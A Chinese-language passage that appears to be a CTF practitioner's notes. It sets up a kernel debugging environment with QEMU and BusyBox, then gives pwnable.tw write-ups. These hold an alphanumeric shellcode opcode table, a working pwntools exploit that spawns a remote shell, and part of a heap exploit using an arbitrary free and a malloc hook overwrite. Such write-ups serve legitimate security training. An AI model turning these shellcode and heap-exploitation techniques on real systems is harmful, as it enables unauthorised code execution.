前言

环境搭建在虚拟机ubuntu16.04下进行(vm配置开启cpu虚拟化)

一般内核调试需要的东西就是内核镜像磁盘镜像,不同版本的内核就用不同版本的内核镜像。而需要什么文件就调整磁盘镜像。

安装依赖

sudo apt-get update
sudo apt-get install qemu git libncurses5-dev fakeroot build-essential ncurses-dev xz-utils libssl-dev bc

内核镜像

下载内核源码:

linux各个版本内核源码可以从这下载:https://www.kernel.org/

这里用这个版本:https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/linux-4.15.tar.gz

解压进入

tar -xzvf linux-4.15.tar.gz
cd linux-4.15

设置编译选项

make menuconfig

勾选以下项目:

  1. Kernel debugging
  2. Compile-time checks and compiler options —> Compile the kernel with debug info和Compile the kernel with frame pointers
  3. KGDB

然后保存退出

开始编译

make bzImage

成功信息类似这样:

Setup is 17244 bytes (padded to 17408 bytes).
System is 7666 kB
CRC 5c77cbfe
Kernel: arch/x86/boot/bzImage is ready  (#1)

从源码根目录取到vmlinux,从arch/x86/boot/取到bzImage

磁盘镜像

编译busybox

BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件。BusyBox 包含了一些简单的工具,例如ls、cat和echo等等,还包含了一些更大、更复杂的工具,例grep、find、mount以及telnet。有些人将 BusyBox 称为 Linux 工具里的瑞士军刀。简单的说BusyBox就好像是个大工具箱,它集成压缩了 Linux 的许多工具和命令,也包含了 Android 系统的自带的shell。

这里busybox的作用主要是搭建一个简易的initranfs

下载源码:https://busybox.net/

用1.28.4测试:http://busybox.net/downloads/busybox-1.28.4.tar.bz2

解压进入目录:

tar jxvf busybox-1.28.4.tar.bz2
cd busybox-1.28.4

设置编译选项:

选中:Build static binary (no shared libs)

开始编译:

make install -j4

打包出rootfs.img磁盘镜像

busybox编译完成后,进入源码目录下新增的_install目录

先建立好文件系统:

cd _install
mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}

运行:vim etc/inittab

添加以下内容:

::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

运行:mkdir etc/init.d;vim etc/init.d/rcS

添加以下内容:

#!/bin/sh
mount -t proc none /proc
mount -t sys none /sys
/bin/mount -n -t sysfs none /sys
/bin/mount -t ramfs none /dev
/sbin/mdev -s

还可以在fs根目录创建init文件,写入初始化指令,并添加执行权限:

#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
# insmod /xxx.ko # load ko
mdev -s # We need this to find /dev/sda later
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh #normal user
# exec /bin/sh #root

这一步主要配置各种目录的挂载

添加执行权限:chmod +x ./etc/init.d/rcS

打包出rootfs.img

_install目录下执行:

find . | cpio -o --format=newc > ~/core/rootfs.img
gzip -c ~/core/rootfs.img > ~/core/rootfs.img.gz

文件系统镜像被打包存放在了/home/{username}/core/目录下

用qemu启动

配置启动参数

创建一个新的目录将准备好的bzImagerootfs.img放入,然后编写一个boot.sh

boot.sh的编写可以参考qemu的各个参数:

qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

部分参数解释:

  • -m 指定内存大小
  • -kernel 指定内核镜像路径
  • -initrd 指定磁盘镜像路径
  • -s 是GDB调试参数,默认会开启1234端口便于remote调试
  • cpu 该选项可以指定保护模式

运行boot.sh即可启动系统

几种常见的保护

canary, dep, PIE, RELRO 等保护与用户态原理和作用相同
  • smep: Supervisor Mode Execution Protection,当处理器处于 ring0 模式,执行 用户空间 的代码会触发页错误。(在 arm 中该保护称为 PXN)

  • smap: Superivisor Mode Access Protection,类似于 smep,通常是在访问数据时。

  • mmap_min_addr

如何向其中添加文件?

方法1

  1. 解压磁盘镜像:cpio -idv < ./initramfs.img

  2. 重打包:find . | cpio -o --format=newc > ../new_rootfs.img

方法2

借助base64编码从shell中直接写入(适用于写exp等)

GDB调试



一般只需要设置好架构然后remote一下就行,如果是非x86的架构可能要用gdb-multiarch

gdb
pwndbg> set arch i386:x86-64
pwndbg> target remote localhost:1234


查看函数地址



需要先设置init文件获得root权限,如下:

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid /bin/cttyhack setuidgid 0 /bin/sh
umount /proc
umount /sys
poweroff -d 0  -f


这里重点在于利用setuidgid 0创建一个root shell

然后同样boot后输入cat /proc/kallsyms可以显示出内核中所有的函数符号和对应地址,在gdb中下断即可

例如可以断在这个函数:cat /proc/kallsyms | grep get_user_pages,下断后尝试执行ls就可以停住了

加载第三方ko



CTF比赛中经常需要加载内核模块*.ko,其实很简单,只需要运行insmod xxx.ko就行

关键在于有的ko需要指定内核版本

可以使用apt download 相应内核的deb包,然后解包得到bzImage

例如:apt download linux-image-4.15.0-22-generic

然后在fs中的init脚本加上insmod xxx.ko即可

载入系统后可以使用lsmod来查看载入的ko以及他的所在的内核地址

调试ko



关闭内核模块地址随机化:nokaslr

写个脚本用来快速启动gdb并设置相应参数,节省时间:

#!/bin/sh
gdb \
-ex "target remote localhost:1234" \
-ex "continue" \
-ex "disconnect" \
-ex "set architecture i386:x86-64:intel" \
-ex "target remote localhost:1234" \
-ex "add-symbol-file ./busybox/baby.ko 0xdeadbeef" \


qemu pci设备相关



查看PCI设备信息



qemu逃逸常常是因为加载了自定义的PCI设备,可以在qemu启动参数参数的-device项中看出。

进入qemu-system环境后,执行如下命令来获取pci设备信息:

  1. lspci: 显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备基本信息;


ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)


Q: 如何确定哪个是我们要分析的Device?

最右边的值如1234:11e9vendor_id:device,可以在IDA中查看xxxx_class_init函数来确定设备的vendor_id:device。然后进入系统中使用lspci,就可以对应上了。


注意xx:yy:z的格式为总线:设备:功能的格式!

也可以通过-t-v参数以树状显示:

ubuntu@ubuntu:~$ lspci -t -v
-[0000:00]-+-00.0  Intel Corporation 440FX - 82441FX PMC [Natoma]
           +-01.0  Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
           +-01.1  Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
           +-01.3  Intel Corporation 82371AB/EB/MB PIIX4 ACPI
           +-02.0  Device 1234:1111
           +-03.0  Device 1234:11e9
           \-04.0  Intel Corporation 82540EM Gigabit Ethernet Controller


其中[0000]表示pci的域, PCI域最多可以承载256条总线。 每条总线最多可以有32个设备,每个设备最多可以有8个功能。

VendorIDsDeviceIDs、以及Class Codes字段区分出不同的设备,可以用以下参数查看:

ubuntu@ubuntu:~$ lspci -v -m -n -s 00:03.0
Device: 00:03.0
Class:  00ff
Vendor: 1234
Device: 11e9
SVendor:        1af4
SDevice:        1100
PhySlot:        3
Rev:    10

ubuntu@ubuntu:~$ lspci -v -m -s 00:03.0
Device: 00:03.0
Class:  Unclassified device [00ff]
Vendor: Vendor 1234
Device: Device 11e9
SVendor:        Red Hat, Inc
SDevice:        Device 1100
PhySlot:        3 
Rev:    10


通过-x参数可以查看设备的内存空间:

ubuntu@ubuntu:~$ lspci -v -s 00:03.0 -x
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
        Subsystem: Red Hat, Inc Device 1100
        Physical Slot: 3
        Flags: fast devsel
        /*这里显示的是MMIO空间的基址和大小*/
        Memory at febf1000 (32-bit, non-prefetchable) [size=256]
        /*这里显示的是PMIO空间的基址和大小*/
        I/O ports at c050 [size=8]
00: 34 12 e9 11 03 01 00 00 10 00 ff 00 00 00 00 00
10: 00 10 bf fe 51 c0 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11
30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00



sudo lshw -businfo: 获取详细设备信息

  • sudo cat /proc/iomem: 查看各种设备占用的地址空间(包括内存和reversed区域);

  • sudo cat /sys/devices/pci0000:00/[设备编号]/resource: 查看设备配置空间,其中设备编号可以在lspci中看到,例如:sudo cat /sys/devices/pci0000:00/0000:00:07.1/resource.

  • 0x00000000febd6000 0x00000000febd6fff 0x0000000000040200
    0x00000000febd0000 0x00000000febd3fff 0x0000000000140204
    0x0000000000000000 0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000 0x0000000000000000
    0x0000000000000000 0x0000000000000000 0x0000000000000000
    

    每行分别表示相应空间的起始地址(start-address)、结束地址(end-address)以及标识位(flags)。

    配置空间中的数据起始就是记录设备相关信息的数据,如上面提到的VendorIDsDeviceIDs、和Class Codes字段等...

    除了resource文件,还有resource0(MMIO空间)以及resource1(PMIO空间)


    引用博客:

    1. https://veritas501.space/2018/06/03/kernel%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/#more

    2. https://eternalsakura13.com/2020/07/11/kernel_qemu/#more

    3. https://eternalsakura13.com/2018/04/13/qemu/

    题目分析

    究极丧心病狂的题,只能使用元素周期表组合以及数字填充进行shellcode构造。顺带一提,题目名字二氧化锰的来由是写入shellcode的固定地址转ascii转译后的结果。

    可用指令分析:

    H
       0:   48                      dec    eax
    He
       0:   48                      dec    eax
       1:   65                      gs
    Li
       0:   4c                      dec    esp
       1:   69                      .byte 0x69
    Be
       0:   42                      inc    edx
       1:   65                      gs
    B
       0:   42                      inc    edx
    C
       0:   43                      inc    ebx
    N
       0:   4e                      dec    esi
    O
       0:   4f                      dec    edi
    F
       0:   46                      inc    esi
    Ne
       0:   4e                      dec    esi
       1:   65                      gs
    Na
       0:   4e                      dec    esi
       1:   61                      popa
    Mg
       0:   4d                      dec    ebp
       1:   67                      addr16
    Al
       0:   41                      inc    ecx
       1:   6c                      ins    BYTE PTR es:[edi],dx
    Si
       0:   53                      push   ebx
       1:   69                      .byte 0x69
    P
       0:   50                      push   eax
    S
       0:   53                      push   ebx
    Cl
       0:   43                      inc    ebx
       1:   6c                      ins    BYTE PTR es:[edi],dx
    Ar
       0:   41                      inc    ecx
       1:   72                      .byte 0x72
    K
       0:   4b                      dec    ebx
    Ca
       0:   43                      inc    ebx
       1:   61                      popa
    Sc
       0:   53                      push   ebx
       1:   63                      .byte 0x63
    Ti
       0:   54                      push   esp
       1:   69                      .byte 0x69
    V
       0:   56                      push   esi
    Cr
       0:   43                      inc    ebx
       1:   72                      .byte 0x72
    Mn
       0:   4d                      dec    ebp
       1:   6e                      outs   dx,BYTE PTR ds:[esi]
    Fe
       0:   46                      inc    esi
       1:   65                      gs
    Co
       0:   43                      inc    ebx
       1:   6f                      outs   dx,DWORD PTR ds:[esi]
    Ni
       0:   4e                      dec    esi
       1:   69                      .byte 0x69
    Cu
       0:   43                      inc    ebx
       1:   75                      .byte 0x75
    Zn
       0:   5a                      pop    edx
       1:   6e                      outs   dx,BYTE PTR ds:[esi]
    Ga
       0:   47                      inc    edi
       1:   61                      popa
    Ge
       0:   47                      inc    edi
       1:   65                      gs
    As
       0:   41                      inc    ecx
       1:   73                      .byte 0x73
    Se
       0:   53                      push   ebx
       1:   65                      gs
    Br
       0:   42                      inc    edx
       1:   72                      .byte 0x72
    Kr
       0:   4b                      dec    ebx
       1:   72                      .byte 0x72
    Rb
       0:   52                      push   edx
       1:   62                      .byte 0x62
    Sr
       0:   53                      push   ebx
       1:   72                      .byte 0x72
    Y
       0:   59                      pop    ecx
    Zr
       0:   5a                      pop    edx
       1:   72                      .byte 0x72
    Nb
       0:   4e                      dec    esi
       1:   62                      .byte 0x62
    Mo
       0:   4d                      dec    ebp
       1:   6f                      outs   dx,DWORD PTR ds:[esi]
    Tc
       0:   54                      push   esp
       1:   63                      .byte 0x63
    Ru
       0:   52                      push   edx
       1:   75                      .byte 0x75
    Rh
       0:   52                      push   edx
       1:   68                      .byte 0x68
    Pd
       0:   50                      push   eax
       1:   64                      fs
    Ag
       0:   41                      inc    ecx
       1:   67                      addr16
    Cd
       0:   43                      inc    ebx
       1:   64                      fs
    In
       0:   49                      dec    ecx
       1:   6e                      outs   dx,BYTE PTR ds:[esi]
    Sn
       0:   53                      push   ebx
       1:   6e                      outs   dx,BYTE PTR ds:[esi]
    Sb
       0:   53                      push   ebx
       1:   62                      .byte 0x62
    Te
       0:   54                      push   esp
       1:   65                      gs
    I
       0:   49                      dec    ecx
    Xe
       0:   58                      pop    eax
       1:   65                      gs
    Cs
       0:   43                      inc    ebx
       1:   73                      .byte 0x73
    Ba
       0:   42                      inc    edx
       1:   61                      popa
    La
       0:   4c                      dec    esp
       1:   61                      popa
    Ce
       0:   43                      inc    ebx
       1:   65                      gs
    Pr
       0:   50                      push   eax
       1:   72                      .byte 0x72
    Nd
       0:   4e                      dec    esi
       1:   64                      fs
    Pm
       0:   50                      push   eax
       1:   6d                      ins    DWORD PTR es:[edi],dx
    Sm
       0:   53                      push   ebx
       1:   6d                      ins    DWORD PTR es:[edi],dx
    Eu
       0:   45                      inc    ebp
       1:   75                      .byte 0x75
    Gd
       0:   47                      inc    edi
       1:   64                      fs
    Tb
       0:   54                      push   esp
       1:   62                      .byte 0x62
    Dy
       0:   44                      inc    esp
       1:   79                      .byte 0x79
    Ho
       0:   48                      dec    eax
       1:   6f                      outs   dx,DWORD PTR ds:[esi]
    Er
       0:   45                      inc    ebp
       1:   72                      .byte 0x72
    Tm
       0:   54                      push   esp
       1:   6d                      ins    DWORD PTR es:[edi],dx
    Yb
       0:   59                      pop    ecx
       1:   62                      .byte 0x62
    Lu
       0:   4c                      dec    esp
       1:   75                      .byte 0x75
    Hf
       0:   48                      dec    eax
       1:   66                      data16
    Ta
       0:   54                      push   esp
       1:   61                      popa
    W
       0:   57                      push   edi
    Re
       0:   52                      push   edx
       1:   65                      gs
    Os
       0:   4f                      dec    edi
       1:   73                      .byte 0x73
    Ir
       0:   49                      dec    ecx
       1:   72                      .byte 0x72
    Pt
       0:   50                      push   eax
       1:   74                      .byte 0x74
    Au
       0:   41                      inc    ecx
       1:   75                      .byte 0x75
    Hg
       0:   48                      dec    eax
       1:   67                      addr16
    Tl
       0:   54                      push   esp
       1:   6c                      ins    BYTE PTR es:[edi],dx
    Pb
       0:   50                      push   eax
       1:   62                      .byte 0x62
    Bi
       0:   42                      inc    edx
       1:   69                      .byte 0x69
    Po
       0:   50                      push   eax
       1:   6f                      outs   dx,DWORD PTR ds:[esi]
    At
       0:   41                      inc    ecx
       1:   74                      .byte 0x74
    Rn
       0:   52                      push   edx
       1:   6e                      outs   dx,BYTE PTR ds:[esi]
    Fr
       0:   46                      inc    esi
       1:   72                      .byte 0x72
    Ra
       0:   52                      push   edx
       1:   61                      popa
    Ac
       0:   41                      inc    ecx
       1:   63                      .byte 0x63
    Th
       0:   54                      push   esp  
       1:   68                      .byte 0x68  //free push
    Pa
       0:   50                      push   eax
       1:   61                      popa
    U
       0:   55                      push   ebp
    Np
       0:   4e                      dec    esi
       1:   70                      .byte 0x70
    Pu
       0:   50                      push   eax
       1:   75                      .byte 0x75
    Am
       0:   41                      inc    ecx
       1:   6d                      ins    DWORD PTR es:[edi],dx
    Cm
       0:   43                      inc    ebx
       1:   6d                      ins    DWORD PTR es:[edi],dx
    Bk
       0:   42                      inc    edx
       1:   6b                      .byte 0x6b
    Cf
       0:   43                      inc    ebx
       1:   66                      data16
    Es
       0:   45                      inc    ebp
       1:   73                      .byte 0x73
    Fm
       0:   46                      inc    esi
       1:   6d                      ins    DWORD PTR es:[edi],dx
    Md
       0:   4d                      dec    ebp
       1:   64                      fs
    No
       0:   4e                      dec    esi
       1:   6f                      outs   dx,DWORD PTR ds:[esi]
    Lr
       0:   4c                      dec    esp
       1:   72                      .byte 0x72
    Rf
       0:   52                      push   edx
       1:   66                      data16
    Db
       0:   44                      inc    esp
       1:   62                      .byte 0x62
    Sg
       0:   53                      push   ebx
       1:   67                      addr16
    Bh
       0:   42                      inc    edx
       1:   68                      .byte 0x68
    Hs
       0:   48                      dec    eax
       1:   73                      .byte 0x73
    Mt
       0:   4d                      dec    ebp
       1:   74                      .byte 0x74
    Ds
       0:   44                      inc    esp
       1:   73                      .byte 0x73
    Rg
       0:   52                      push   edx
       1:   67                      addr16
    Cn
       0:   43                      inc    ebx
       1:   6e                      outs   dx,BYTE PTR ds:[esi]
    Fl
       0:   46                      inc    esi
       1:   6c                      ins    BYTE PTR es:[edi],dx
    Lv
       0:   4c                      dec    esp
       1:   76                      .byte 0x76
    11
       0:   31 31                   xor    DWORD PTR [ecx],esi
    12
       0:   31 32                   xor    DWORD PTR [edx],esi
    13
       0:   31 33                   xor    DWORD PTR [ebx],esi
    14
       0:   31                      .byte 0x31
       1:   34                      .byte 0x34
    15
       0:   31                      .byte 0x31
       1:   35                      .byte 0x35
    16
       0:   31 36                   xor    DWORD PTR [esi],esi
    17
       0:   31 37                   xor    DWORD PTR [edi],esi
    18
       0:   31 38                   xor    DWORD PTR [eax],edi
    19
       0:   31 39                   xor    DWORD PTR [ecx],edi
    10
       0:   31 30                   xor    DWORD PTR [eax],esi
    21
       0:   32 31                   xor    dh,BYTE PTR [ecx]
    22
       0:   32 32                   xor    dh,BYTE PTR [edx]
    23
       0:   32 33                   xor    dh,BYTE PTR [ebx]
    24
       0:   32                      .byte 0x32
       1:   34                      .byte 0x34
    25
       0:   32                      .byte 0x32
       1:   35                      .byte 0x35
       0:   32 36                   xor    dh,BYTE PTR [esi]
    27
       0:   32 37                   xor    dh,BYTE PTR [edi]
    28
       0:   32 38                   xor    bh,BYTE PTR [eax]
    29
       0:   32 39                   xor    bh,BYTE PTR [ecx]
    20
       0:   32 30                   xor    dh,BYTE PTR [eax]
    31
       0:   33 31                   xor    esi,DWORD PTR [ecx]
    32
       0:   33 32                   xor    esi,DWORD PTR [edx]
    33
       0:   33 33                   xor    esi,DWORD PTR [ebx]
    34
       0:   33                      .byte 0x33
       1:   34                      .byte 0x34
    35
       0:   33                      .byte 0x33
       1:   35                      .byte 0x35
    36
       0:   33 36                   xor    esi,DWORD PTR [esi]
    37
       0:   33 37                   xor    esi,DWORD PTR [edi]
    38
       0:   33 38                   xor    edi,DWORD PTR [eax]
    39
       0:   33 39                   xor    edi,DWORD PTR [ecx]
    30
       0:   33 30                   xor    esi,DWORD PTR [eax]
    41
       0:   34 31                   xor    al,0x31
    42
       0:   34 32                   xor    al,0x32
    43
       0:   34 33                   xor    al,0x33
    44
       0:   34 34                   xor    al,0x34
    45
       0:   34 35                   xor    al,0x35
    46
       0:   34 36                   xor    al,0x36
    47
       0:   34 37                   xor    al,0x37
    48
       0:   34 38                   xor    al,0x38
    49
       0:   34 39                   xor    al,0x39
    40
       0:   34 30                   xor    al,0x30
    51
       0:   35                      .byte 0x35
       1:   31                      .byte 0x31
    52
       0:   35                      .byte 0x35
       1:   32                      .byte 0x32
    53
       0:   35                      .byte 0x35
       1:   33                      .byte 0x33
    54
       0:   35                      .byte 0x35
       1:   34                      .byte 0x34
    55
       0:   35                      .byte 0x35
       1:   35                      .byte 0x35
    56
       0:   35                      .byte 0x35
       1:   36                      ss
    57
       0:   35                      .byte 0x35
       1:   37                      aaa
    58
       0:   35                      .byte 0x35
       1:   38                      .byte 0x38
    59
       0:   35                      .byte 0x35
       1:   39                      .byte 0x39
    50
       0:   35                      .byte 0x35
       1:   30                      .byte 0x30
    61
       0:   36                      ss
       1:   31                      .byte 0x31
    62
       0:   36                      ss
       1:   32                      .byte 0x32
    63
       0:   36                      ss
       1:   33                      .byte 0x33
    64
       0:   36                      ss
       1:   34                      .byte 0x34
    65
       0:   36                      ss
       1:   35                      .byte 0x35
    66
       0:   36                      ss
       1:   36                      ss
    67
       0:   36 37                   ss aaa
    68
       0:   36                      ss
       1:   38                      .byte 0x38
    69
       0:   36                      ss
       1:   39                      .byte 0x39
    60
       0:   36                      ss
       1:   30                      .byte 0x30
    71
       0:   37                      aaa    
       1:   31                      .byte 0x31
    72
       0:   37                      aaa    
       1:   32                      .byte 0x32
    73
       0:   37                      aaa    
       1:   33                      .byte 0x33
    74
       0:   37                      aaa    
       1:   34                      .byte 0x34
    75
       0:   37                      aaa    
       1:   35                      .byte 0x35
    76
       0:   37                      aaa    
       1:   36                      ss
    77
       0:   37                      aaa    
       1:   37                      aaa
    78
       0:   37                      aaa    
       1:   38                      .byte 0x38
    79
       0:   37                      aaa    
       1:   39                      .byte 0x39
    70
       0:   37                      aaa    
       1:   30                      .byte 0x30
    81
       0:   38 31                   cmp    BYTE PTR [ecx],dh
    82
       0:   38 32                   cmp    BYTE PTR [edx],dh
    83
       0:   38 33                   cmp    BYTE PTR [ebx],dh
    84
       0:   38                      .byte 0x38
       1:   34                      .byte 0x34
    85
       0:   38                      .byte 0x38
       1:   35                      .byte 0x35
    86
       0:   38 36                   cmp    BYTE PTR [esi],dh
    87
       0:   38 37                   cmp    BYTE PTR [edi],dh
    88
       0:   38 38                   cmp    BYTE PTR [eax],bh
    89
       0:   38 39                   cmp    BYTE PTR [ecx],bh
    80
       0:   38 30                   cmp    BYTE PTR [eax],dh
    91
       0:   39 31                   cmp    DWORD PTR [ecx],esi
    92
       0:   39 32                   cmp    DWORD PTR [edx],esi
    93
       0:   39 33                   cmp    DWORD PTR [ebx],esi
    94
       0:   39                      .byte 0x39
       1:   34                      .byte 0x34
    95
       0:   39                      .byte 0x39
       1:   35                      .byte 0x35
    96
       0:   39 36                   cmp    DWORD PTR [esi],esi
    97
       0:   39 37                   cmp    DWORD PTR [edi],esi
    98
       0:   39 38                   cmp    DWORD PTR [eax],edi
    99
       0:   39 39                   cmp    DWORD PTR [ecx],edi
    90
       0:   39 30                   cmp    DWORD PTR [eax],esi
    01
       0:   30 31                   xor    BYTE PTR [ecx],dh
    02
       0:   30 32                   xor    BYTE PTR [edx],dh
    03
       0:   30 33                   xor    BYTE PTR [ebx],dh
    04
       0:   30                      .byte 0x30
       1:   34                      .byte 0x34
    05
       0:   30                      .byte 0x30
       1:   35                      .byte 0x35
    06
       0:   30 36                   xor    BYTE PTR [esi],dh
    07
       0:   30 37                   xor    BYTE PTR [edi],dh
    08
       0:   30 38                   xor    BYTE PTR [eax],bh
    09
       0:   30 39                   xor    BYTE PTR [ecx],bh
    00
       0:   30 30                   xor    BYTE PTR [eax],dh
    

    主要思路:

    • 把eax赋值为esp,然后向栈中写入esi/edi的值,以便借助异或清空esi/edi
    • 借助Thxxxx这样的push语句和可以pop ecx的语句将ecx指向末位用于制造int 0x80的位置
    • 移动ecx的指针,同时修改esi/edi,借助异或语句制造出int 0x80(至于用什么值异或可以另外写个脚本fuzz以下,可选的对象还是挺多的)
    • esi值得改变通过inc/dec完成,可能会占掉很长一段,需要合理安排
    • 调用到SYS_read之后向最末尾读入可以直接getshell的shellcode(需要提前安排好ecx的位置)

    EXP:

    from pwn import *
    
    #p = process("./mno2")
    p = remote('chall.pwnable.tw','10301')
    elf = ELF("./mno2")
    
    context.log_level = "debug"
    
    '''
    reg status:
     EAX  0x324f6e4d ◂— dec    eax /* 0x484848; 'HHH' */ shellcode start
     EBX  0x0
     ECX  0x0
     EDX  0x8048890 ◂— dec    eax /* 'H' */
     EDI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
     ESI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
     EBP  0xffffcf18 ◂— 0x0
     ESP  0xffffcedc —▸ 0x80487ea (main+169) ◂— mov    dword ptr [esp], 0
     EIP  0x324f6e4d ◂— dec    eax /* 0x484848; 'HHH' */
    '''
    
    '''
    target status1:
    eax = 11
    ebx -> '/bin/sh' 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
    ecx = 0
    edx = 0
    int 0x80 b'\xcd\x80'
    '''
    '''
    target status2:
    eax = 3
    ebx =0
    ecx = addr(end_of_shellcode)
    edx = (big num)
    int 0x80 b'\xcd\x80'
    '''
    
    shellcode = b"V"   #push esi;
    shellcode += b"Th1111"  #push esp; push 0x33333333;
    shellcode += b"XeXe"    #pop eax;#pop eax;
    shellcode += b"ThMoO2"  #push esp; push 0x324f6e4d(shellcode start)
    shellcode += b"30"  #xor esi,DWORD PTR [eax];
    shellcode += b"38"  #xor edi,DWORD PTR [eax];
    shellcode += b"Y"   #pop ecx;
    shellcode += b"O"   #dec edi;
    shellcode += b"19"  #xor    DWORD PTR [ecx],edi
    shellcode += b"Ag"*1  #inc ecx;addr16;
    shellcode += b"F"*0x46  #inc esi;
    shellcode += b"11"  #xor    DWORD PTR [ecx],esi
    shellcode += b"Ag"*1  #inc ecx;addr16; new shellcode start
    shellcode += b"V"   #push esi;
    shellcode += b"Xe"  #pop eax;
    shellcode += b"Th1111"  #pad;
    shellcode += b"Hg"*0x43  #dec eax;
    shellcode += b"B"*(0x100-len(shellcode))
    shellcode += b"29"
    
    
    def exp():
        #gdb.attach(p, "b *0x80487E8\nc\n")
        p.sendline(shellcode)
        p.sendline(asm(shellcraft.sh()))
        p.interactive()
    
    if __name__ == "__main__":
       exp()
    

    漏洞点:

    • 虽然给了源码但是漏洞得看二进制文件才能看出,结合flag,这是C++运算符重载相关的漏洞
    • edit的时候存在栈复用,可以任意指针free

    漏洞原理:

    • 正常运算符重载的写法(这里只讨论写为成员函数)需要在成员函数末尾return *this,同时返回值需要为当前对象类型的引用类型,这个返回值会作为其他运算的右值,如a = b = c,为了保证程序正常,这个值必须要存在。
    • 如果不主动写return *this,g++在编译的时候,会把返回值指针指向栈上一段同类型大小的空内存(填充为null),把这段空内存作为右值(隐式的return)然后析构这段内存。析构时遇到对象指针会先判断是否为空再执行delete
    • 但是空内存可以借助栈复用进行修改,构造出我们自定义的指针,这样在析构函数中如果有对某些指针域的delete,就可以构造出任意地址free

    利用思路:

    • 难点在第一步的leak heap。通过在bss上构造fakechunk和自定义指针freebss上的chunk,然后借助一个非法size值跳过最后的析构避免doublefree,这样可以在不触发0截断时输出free过chunk上的fd值。具体细节,其实挺复杂,只可意会不可言传。
    • leak heap之后修改堆上对象内存指针指向保存了libc地址的位置,调用info成员函数leak libc
    • 最后打__malloc_hook(需要__realloc_hook间接补全栈条件)

    EXP

    from pwn import *
    
    #p = process("./caov")
    p = remote("chall.pwnable.tw", 10306)
    elf = ELF("./caov")
    libc = ELF("./libc_64.so.6")
    #libc = ELF("./libc.so.6")
    
    context.log_level = "debug"
    
    def show():
        p.recvuntil("Your choice: ")
        p.sendline(b"1")
    
    def edit(name, key_len:int, key, value):
        p.recvuntil("Your choice: ")
        p.sendline(b"2")
        p.recvuntil("Enter your name: ")
        p.sendline(name)
        p.recvuntil("New key length: ") 
        p.sendline(str(key_len).encode())
        if key_len > 1000:
            return
        p.recvuntil("Key: ")
        p.sendline(key)
        p.recvuntil("Value: ")
        p.sendline(str(value).encode())
    
    def go_exit():
        p.recvuntil("Your choice: ")
        p.sendline(b"3")
    
    def exp():
        #const
        bss_name = 0x6032C0
        fake_chunk = 0x6032a0 + 0x2 - 0x8
        one_local = [0x45226, 0x4527a, 0xf0364, 0xf1207]
        one_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
        read_got = 0x602F40
    
        #init
        init_name = b"eqqie"
        init_key = b"\x00"*0x30
        init_value = str(0xdeadbeef).encode()
        p.recvuntil("Enter your name: ")
        p.sendline(init_name)
        p.recvuntil("Please input a key: ")
        p.sendline(init_key)
        p.recvuntil("Please input a value: ")
        p.sendline(init_value)
    
        #leak heap
    
        #gdb.attach(p, "b *0x4014c2\nb *0x4014f5\nb *0x401563\nc\n")
        #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
        payload1 = p64(0)+p64(0x20)+b"DDDDDDDD"
        payload1 = payload1.ljust(0x20, b"A")
        payload1 += p64(0x20) + p64(0x20)
        payload1 = payload1.ljust(0x60, b"A")
        payload1 += p64(bss_name+0x10)
        edit(payload1, 20, b"A"*20, 0xdeadbeef)
    
        payload2 = p64(0)+p64(0x41)+p64(0)
        payload2 = payload2.ljust(0x40, b"A")
        payload2 += p64(0x00) + p64(0x20)
        payload2 = payload2.ljust(0x60, b"A")
        payload2 += p64(bss_name+0x10)
        edit(payload2, 1020, b"1", 0xdeadbeef)
    
        p.recvuntil(b"Key: ")
        p.recvuntil(b"Key: ")
        heap_leak = u64(p.recv(3).ljust(8, b"\x00"))
        heap_base = heap_leak - 0x11c90
        data_obj = heap_base + 0x11ce0 - 0x10
        heap_with_libc = heap_base + 0x11e30
        print("heap_leak:", hex(heap_leak))
        print("heap_base:", hex(heap_base))
        print("data_obj:", hex(data_obj))
        print("heap_with_libc:", hex(heap_with_libc))
        #gdb.attach(p)
    
        # get obj chunk && leak libc
